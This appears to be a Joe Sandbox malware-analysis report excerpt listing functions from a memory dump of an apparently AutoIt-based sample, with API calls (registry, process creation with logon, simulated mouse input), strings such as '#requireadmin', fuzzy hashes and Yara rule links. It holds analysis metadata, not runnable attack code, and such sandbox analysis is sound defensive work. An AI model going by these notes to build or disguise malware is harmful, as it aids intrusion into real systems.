Instruction ID: 58dd07c5947161d01f25ad087d1e2d495e6ae863a3430dd3e37bc8f1cfe5e715
Opcode Fuzzy Hash: e030eeae1a14cc82cea6fa024a6d805bb140cb142e4b745fbad7bcc02621f315
Instruction Fuzzy Hash: 5131D131600208AFDB209F64DC85BBE77B9FB49764F114069F916A7291DBB0AD048BA2

Function 00C2E143 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C2E188
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C2E1AE
SysAllocString.OLEAUT32(00000000), ref: 00C2E1B1
SysAllocString.OLEAUT32 ref: 00C2E1D2
SysFreeString.OLEAUT32 ref: 00C2E1DB
StringFromGUID2.OLE32(?,?,00000028), ref: 00C2E1F5
SysAllocString.OLEAUT32(?), ref: 00C2E203

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4f773fe08a3af8da11748a66d667c94e8d155fa1a94d6d05f60f4bc1f184f24d
Instruction ID: 0b755fd31ffff796dd54a3efc76884938c2721fa241e6c409c4867c89bc44287
Opcode Fuzzy Hash: 4f773fe08a3af8da11748a66d667c94e8d155fa1a94d6d05f60f4bc1f184f24d
Instruction Fuzzy Hash: 85218831604114EF9B20DFA9DC88EBF77ECFB09360B108165FA15DB2A1DAB0DD418BA4

Function 00C2FBFC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C2FC0F
__wcsnicmp.LIBCMT ref: 00C2FC30
__wcsnicmp.LIBCMT ref: 00C2FC4A

Strings

#OnAutoItStartRegister, xrefs: 00C2FC44
#notrayicon, xrefs: 00C2FC07
#requireadmin, xrefs: 00C2FC2A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 8d6dc6c85fd599c9a230de10ced618ea3501c93f4b26f1b8d5b6bc63d4dce9c0
Instruction ID: eb1cbc8ba5a4096dc05f96f59c7d7ef8241e6a1b5a149668bc286de1e807bde3
Opcode Fuzzy Hash: 8d6dc6c85fd599c9a230de10ced618ea3501c93f4b26f1b8d5b6bc63d4dce9c0
Instruction Fuzzy Hash: 6D21373210453D66D230BB26AC42EBB73E8EF51750F50443EFD5687992EBA1AE438395

Function 00C579BA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BD214F
Part of subcall function 00BD2111: GetStockObject.GDI32(00000011), ref: 00BD2163
Part of subcall function 00BD2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BD216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00C57A1F
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00C57A2C
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00C57A37
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00C57A46
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00C57A52

Strings

Msctls_Progress32, xrefs: 00C579F0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 4007d498db586db23249d3b0e7b5cc1923caff5711fa5a150e3cbafb86ef1039
Instruction ID: 3a14efed2ac7e13f334d1d86c13a58803dd40141a60b5a78329079218db31c92
Opcode Fuzzy Hash: 4007d498db586db23249d3b0e7b5cc1923caff5711fa5a150e3cbafb86ef1039
Instruction Fuzzy Hash: 7B11B2B611021DBFEF119F61CC85EEB7F6DEF08758F014215BB04A2190C6729C61DBA4

Function 00BF40E9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00BF41B2,?), ref: 00BF4103
GetProcAddress.KERNEL32(00000000), ref: 00BF410A
EncodePointer.KERNEL32(00000000), ref: 00BF4116
DecodePointer.KERNEL32(00000001,00BF41B2,?), ref: 00BF4133

Strings

RoInitialize, xrefs: 00BF40F2
combase.dll, xrefs: 00BF40FE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: a1ce3415c19ca285a99834b496d6e40d931895d521d93e7088cdfae051474a14
Instruction ID: 9b943210c483894225de998a0b704d1547f6de2cb442fe98ccb3879da1aea67a
Opcode Fuzzy Hash: a1ce3415c19ca285a99834b496d6e40d931895d521d93e7088cdfae051474a14
Instruction Fuzzy Hash: 83E0E5B06A0340AFEE241B71EC9DB5E3AA4AB25B02F604425F511E61B0DBF541958A00

Function 00BF41BE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00BF40D8), ref: 00BF41D8
GetProcAddress.KERNEL32(00000000), ref: 00BF41DF
EncodePointer.KERNEL32(00000000), ref: 00BF41EA
DecodePointer.KERNEL32(00BF40D8), ref: 00BF4205

Strings

RoUninitialize, xrefs: 00BF41C7
combase.dll, xrefs: 00BF41D3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 7f8212d33938310a2b77000f7db1b51fefc15517b25286206195b494aebf3bbf
Instruction ID: e6611aa88ff79307556fc33e697df70d67a2de606bc31abcd9d33f7b0753ddfb
Opcode Fuzzy Hash: 7f8212d33938310a2b77000f7db1b51fefc15517b25286206195b494aebf3bbf
Instruction Fuzzy Hash: 09E0B678561300ABDB349F61AD4DF5F3AA4BB20746F20002AF105E21B0CBF44685CA14

Function 00BD218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BD21B8
GetWindowRect.USER32(?,?), ref: 00BD21F9
ScreenToClient.USER32(?,?), ref: 00BD2221
GetClientRect.USER32(?,?), ref: 00BD2350
GetWindowRect.USER32(?,?), ref: 00BD2369

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 6e147996e2f9c44c90bb61e6a68c6afd2982330abf67fc22d6dc72c2ff450bfe
Instruction ID: 88ab0ecb4cd9c86e4a668ffb00f1ad5e3b125334564aa3e14e1fe984ce1e34cc
Opcode Fuzzy Hash: 6e147996e2f9c44c90bb61e6a68c6afd2982330abf67fc22d6dc72c2ff450bfe
Instruction Fuzzy Hash: 00B14B39900289DBDF14CFA8C5807EEB7B1FF18710F14916AED69AB354EB34AA50CB54

Function 00C368E0 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C36A33
_memmove.LIBCMT ref: 00C3696E

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

_memmove.LIBCMT ref: 00C369E1
_memmove.LIBCMT ref: 00C36AC8
_memmove.LIBCMT ref: 00C36AE1
_memmove.LIBCMT ref: 00C36AFD

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 9c84728a43189bd6ce68faab2277934646e23141b114edc06f1b291e46af5055
Instruction ID: 2d8f435e139f05c75e30fc49f54cc754c2176944e6a57fe994bf85970706fde1
Opcode Fuzzy Hash: 9c84728a43189bd6ce68faab2277934646e23141b114edc06f1b291e46af5055
Instruction Fuzzy Hash: FA61B13051065AABCF11FF64CC81EFEB7E5AF04308F448599F9596B2A2EB349D05EB50

Function 00C5060C Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C51242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C501D5,?,?), ref: 00C51259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C506E5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C50725
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00C50748
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00C50771
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00C507B4
RegCloseKey.ADVAPI32(00000000), ref: 00C507C1

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7aaad17753bbd7303f35cc2fceafdb3d7d8af8220697b1753ce7d0a8bac2688c
Instruction ID: 7121e370fd6f3dc479e02897ba77c1f028a69064e4c176d79c9fd2d70a9a0ee3
Opcode Fuzzy Hash: 7aaad17753bbd7303f35cc2fceafdb3d7d8af8220697b1753ce7d0a8bac2688c
Instruction Fuzzy Hash: 65518A31108200AFC720EF64C895E6FBBE8FF88350F24495DF995872A1DB71E948CB92

Function 00C55B9E Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00C55C00
GetMenuItemCount.USER32(00000000), ref: 00C55C37
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00C55C5F
GetMenuItemID.USER32(?,?), ref: 00C55CCE
GetSubMenu.USER32(?,?), ref: 00C55CDC
PostMessageW.USER32(?,00000111,?,00000000), ref: 00C55D2D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: cd5ec288519db5d7da32a630c5c39a2fd3fb515fd6235262ebf9912bffba28d9
Instruction ID: 94d15d6cb1d9f94b4532831aa69c325c2bfe52fdafb1f5457fcd45c32eac2fa0
Opcode Fuzzy Hash: cd5ec288519db5d7da32a630c5c39a2fd3fb515fd6235262ebf9912bffba28d9
Instruction Fuzzy Hash: 2451D139A00619EFCF11EF94C955AAEB7F5EF48310F1040A9ED11BB351DB70AE818B94

Function 00C2F46B Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C2F485
VariantClear.OLEAUT32(00000013), ref: 00C2F4F7
VariantClear.OLEAUT32(00000000), ref: 00C2F552
_memmove.LIBCMT ref: 00C2F57C
VariantClear.OLEAUT32(?), ref: 00C2F5C9
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00C2F5F7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: cbba4f4ad5b73ab537526293fe02d6227f64b9b04930c40b7b8a426b0e4fb1c6
Instruction ID: 306a447fc5a18d8246e69bf62d0c497fc004e28c7359f9571ecfa580069b7046
Opcode Fuzzy Hash: cbba4f4ad5b73ab537526293fe02d6227f64b9b04930c40b7b8a426b0e4fb1c6
Instruction Fuzzy Hash: E3513BB5A00219AFDB24CF58D884AAAB7B8FF4C314B15856EE959DB300D730E951CFA0

Function 00C3281D Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C3286B
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C328B6
IsMenu.USER32(00000000), ref: 00C328D6
CreatePopupMenu.USER32 ref: 00C3290A
GetMenuItemCount.USER32(000000FF), ref: 00C32968
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00C32999

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: ec25665b7a39c18e4cbe4cbb3d5a1d9b831d6ee2ac85df4f3b46e665bf811bfc
Instruction ID: fbc5db75a601c9b174a91d61cb9a29df71320940560aa3e01da3831ac4d20a38
Opcode Fuzzy Hash: ec25665b7a39c18e4cbe4cbb3d5a1d9b831d6ee2ac85df4f3b46e665bf811bfc
Instruction Fuzzy Hash: 4951AF7062030AEFDF24CF69C888BAEBBF5FF44314F144559E865AB291D7B09A44CB61

Function 00BD1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00BD1B76
GetWindowRect.USER32(?,?), ref: 00BD1BDA
ScreenToClient.USER32(?,?), ref: 00BD1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00BD1C08
EndPaint.USER32(?,?), ref: 00BD1C52

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: cbf45723581d981e85a127d1e6e13221934bf88e70c6f22a2dd27bdf3163c3e7
Instruction ID: 98678fbc685ac96e519255281ca2056e5797034ab788e7d60830d662e83125fd
Opcode Fuzzy Hash: cbf45723581d981e85a127d1e6e13221934bf88e70c6f22a2dd27bdf3163c3e7
Instruction Fuzzy Hash: 9141A270104300AFD720DF29DC88FBBBBF8EB45720F140A6AF9659A2E2D7719945DB61

Function 00C5BA8B Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00C967B0,00000000,01154828,?,?,00C967B0,?,00C5B995,?,?), ref: 00C5BAFF
EnableWindow.USER32(?,00000000), ref: 00C5BB23
ShowWindow.USER32(00C967B0,00000000,01154828,?,?,00C967B0,?,00C5B995,?,?), ref: 00C5BB83
ShowWindow.USER32(?,00000004,?,00C5B995,?,?), ref: 00C5BB95
EnableWindow.USER32(?,00000001), ref: 00C5BBB9
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00C5BBDC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: dcd9cb7977a63b9d6dbca507c2c336fcdbc9aa60608b9c4a5eee5af14aee1f18
Instruction ID: 7f7793ba6d3479e923ca0b007562c93295f143e298b84a7dd0c7ba06237790ca
Opcode Fuzzy Hash: dcd9cb7977a63b9d6dbca507c2c336fcdbc9aa60608b9c4a5eee5af14aee1f18
Instruction Fuzzy Hash: 16415138600540AFDB25CF14C489FA5BFE1FB05316F1841B9ED588F2A6C7B1AD89CB54

Function 00C4754D Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00C452F1,?,?,00000000,00000001), ref: 00C4755B

Part of subcall function 00C43E50: GetWindowRect.USER32(?,?), ref: 00C43E63

GetDesktopWindow.USER32 ref: 00C47585
GetWindowRect.USER32(00000000), ref: 00C4758C
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00C475BE

Part of subcall function 00C3566C: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C356E4

GetCursorPos.USER32(?), ref: 00C475EA
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00C47648

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 835117e39740934fae77f2ef0aaf14d659d4bab0b1ec26335a6de0d99379ba38
Instruction ID: 961dbb4b306a9eedfdbbd4e864f960169a988fef12b8e3bc379327b85c8db652
Opcode Fuzzy Hash: 835117e39740934fae77f2ef0aaf14d659d4bab0b1ec26335a6de0d99379ba38
Instruction Fuzzy Hash: A731D072108305ABD720DF14C849F9FB7A9FF88314F100A19F599A7191DB70EA08CB92

Function 00C29214 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28AAA: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00C28AC1
Part of subcall function 00C28AAA: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00C28ACB
Part of subcall function 00C28AAA: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00C28ADA
Part of subcall function 00C28AAA: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00C28AE1
Part of subcall function 00C28AAA: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00C28AF7

GetLengthSid.ADVAPI32(?,00000000,00C28E30), ref: 00C29265
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00C29271
HeapAlloc.KERNEL32(00000000), ref: 00C29278
CopySid.ADVAPI32(00000000,00000000,?), ref: 00C29291
GetProcessHeap.KERNEL32(00000000,00000000,00C28E30), ref: 00C292A5
HeapFree.KERNEL32(00000000), ref: 00C292AC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: edad7ce06ccb4cfcfc26caf73a64e4b8b03dbdf77654d89a388a6c8e9286a569
Instruction ID: 87df0791497d38b6f0be3b62eb96df744ab9443b613b70022c524e3a0c4b7730
Opcode Fuzzy Hash: edad7ce06ccb4cfcfc26caf73a64e4b8b03dbdf77654d89a388a6c8e9286a569
Instruction Fuzzy Hash: 9511BB32601214FFEB20DFA5EC09FAF7BA8EF45316F208019F855A7610C772AA44DB60

Function 00C28FB2 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00C28FE3
OpenProcessToken.ADVAPI32(00000000), ref: 00C28FEA
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00C28FF9
CloseHandle.KERNEL32(00000004), ref: 00C29004
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00C29033
DestroyEnvironmentBlock.USERENV(00000000), ref: 00C29047

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
